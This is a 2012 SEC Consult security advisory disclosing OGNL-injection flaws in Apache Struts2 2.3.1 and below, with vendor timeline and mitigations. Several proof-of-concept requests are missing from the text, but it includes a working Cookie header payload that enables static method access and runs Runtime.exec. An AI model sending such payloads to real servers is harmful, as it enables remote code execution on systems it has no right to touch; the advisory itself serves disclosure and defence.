Multiple critical vulnerabilities in Apache Struts2

SEC Consult Vulnerability Lab Security Advisory < 20120104-0 >


title: Multiple critical vulnerabilities in Apache Struts2

product: Apache Struts2

* OpenSymphony XWork

* OpenSymphony OGNL

vulnerable version: 2.3.1 and below

fixed version:

impact: critical


found: 2011-11-18

by: Johannes Dahse, Andreas Nusser

SEC Consult Vulnerability Lab



Vendor description:


Apache Struts2 is a web framework for creating Java web applications. It is

using the OpenSymphony XWork and OGNL libraries. By default, XWork's

ParametersInterceptor treats parameter names provided to actions as OGNL

expressions. A OGNL (Object Graph Navigation Language) expression is a limited

language similar to Java that is tokenized and parsed by the OGNL parser which

invokes appropiate Java methods. This allows e.g. convenient access to

properties that have a getter/setter method implemented. By providing a

parameter like "" the OGNL parser will call the appropiate setter

getProduct().setId(1) in the current action context. OGNL is also able to call

arbitrary methods, constructors and access context variables. For more details

please refer to



Vulnerability overview/description:


To prevent attackers calling arbitrary methods within parameters the flag

"xwork.MethodAccessor.denyMethodExecution" is set to "true" and the

SecurityMemberAccess field "allowStaticMethodAccess" is set to "false" by

default. Also, to prevent access to context variables an improved character

whitelist for paramteter names is applied in XWork's ParametersInterceptor since


acceptedParamNames = "[a-zA-Z0-9\\.\\]\\[\\(\\)_'\\s]+";


Under certain circumstances these restrictions can be bypassed to execute

malicious Java code.


1.) Remote command execution in Struts <= (ExceptionDelegator)


When an exception occurs while applying parameter values to properties the

value is evaluated as OGNL expression. For example this occurs when setting a

string value to a property with type integer. Since the values are not

filtered an attacker can abuse the power of the OGNL language to execute

arbitrary Java code leading to remote command execution. This issue has been

reported ( and was fixed in

Struts However the ability to execute arbitrary Java code has been



2.) Remote command execution in Struts <= 2.3.1 (CookieInterceptor)


The character whitelist for parameter names is not applied to Struts

CookieInterceptor. When Struts is configured to handle cookie names, an

attacker can execute arbitrary system commands with static method access to

Java functions. Therefore the flag "allowStaticMethodAccess" can be set to

true within the request.


3.) Arbitrary File Overwrite in Struts <= 2.3.1 (ParametersInterceptor)


Accessing the flag "allowStaticMethodAccess" within parameters is prohibited

since Struts An attacker can still access public constructors with

only one parameter of type String to create new Java objects and access their

setters with only one parameter of type String. This can be abused for example

to create and overwrite arbitrary files. To inject forbidden characters to the

filename an uninitialized string property can be used.


4.) Remote command execution in Struts <= 2.3.1 (DebuggingInterceptor)


While not being a security vulnerability itself, please note that applications

running in developer mode and using Struts DebuggingInterceptor are prone to

remote command execution as well. While applications should never run in

developer mode during production, developers should be aware that doing so not

only has performance issues (as documented) but also a critical security




Proof of concept:



1.) Remote command execution in Struts <= (ExceptionDelegator)


Given has an property "id" of type Integer or Long and appropriate

getter and setter methods:

long id;


Given test.jsp with result name=input is configured for action "Test":


	<action name="Test" class="example.Test">
		<result name="input">test.jsp</result>


The following request will trigger an exception, the value will be evaluated

as OGNL expression and arbitrary Java code can be executed:




An attacker can also overwrite flags that will allow direct OS command execution:



If test.jsp displays the property "id" the result of the Java code evaluation

can be accessed:

<%@ taglib prefix="s" uri="/struts-tags" %>

<s:property value="id" />


2.) Remote command execution in Struts <= 2.3.1 (CookieInterceptor)


Given struts.xml is configured to handle all cookie names (independent of

limited cookie values):

	<action name="Test" class="example.Test">
		<interceptor-ref name="cookie">
			<param name="cookiesName">*</param>
			<param name="cookiesValue">1,2</param>
		<result ...>

The following HTTP header will execute an OS command when sent to Test.action:

Cookie: (#_memberAccess["allowStaticMethodAccess"]\u003dtrue)(x)=1; x[@java.lang.Runtime@getRuntime().exec('calc')]=1


3.) Arbitrary File Overwrite in Struts <= 2.3.1 (ParametersInterceptor)


Given has an uninitialized property "name" of type String:

String name; // +getter+setter


The following request will create/overwrite the file "C:/sec-consult.txt"

(empty file):



The existence of the property 'x' used in these examples is of no importance.


4.) Remote command execution in Struts <= 2.3.1 (DebuggingInterceptor)


Given struts.xml is configured to run in developer mode and to use the

debugging interceptor:

	<constant name="struts.devMode" value="true" />
	<action name="Test" class="example.Test">
		<interceptor-ref name="debugging" />
		<result ...>


The following request will execute arbitrary OGNL expressions leading to remote command execution:




Vulnerable / tested versions:


All products using Struts2 are affected by at least one critical vulnerability

listed above!


Proof of Concept 1.) has been tested with Jetty-6.1.25 26 July 2010 and Struts


Proof of Concepts 2.), 3.) and 4.) have been tested with Jetty-6.1.25 26 July 2010

and Struts, and 2.3.1



Vendor contact timeline:


2011-12-14: Contacting vendor through security at struts dot apache dot org

2011-12-14: Vendor reply, sending advisory draft

2011-12-14: Vendor released Apache Struts 2.3.1 in parallel

2011-12-16: Vulnerabilities confirmed in Struts 2.3.1, Vendor contacted

2011-12-16: Vendor reply, discussing workaround

2011-12-20: Discussing release of fixed version

2011-12-21: Providing additional information

2012-01-03: Vendor informs that update is ready

2012-01-03: Patch ( is available





Update to Struts





Update to Struts 2.3.1 and apply a stronger acceptedParamNames filter to the

Parameters- and CookieInterceptor:


acceptedParamNames = "[a-zA-Z0-9\\.\\]\\[_']+";


Don't run your applications in developer mode.



Advisory URL:





SEC Consult Unternehmensberatung GmbH


Office Vienna

Mooslackengasse 17

A-1190 Vienna



Tel.: +43 / 1 / 890 30 43 - 0

Fax.: +43 / 1 / 890 30 43 - 25

Mail: research at sec-consult dot com


EOF J. Dahse, A. Nusser / 2012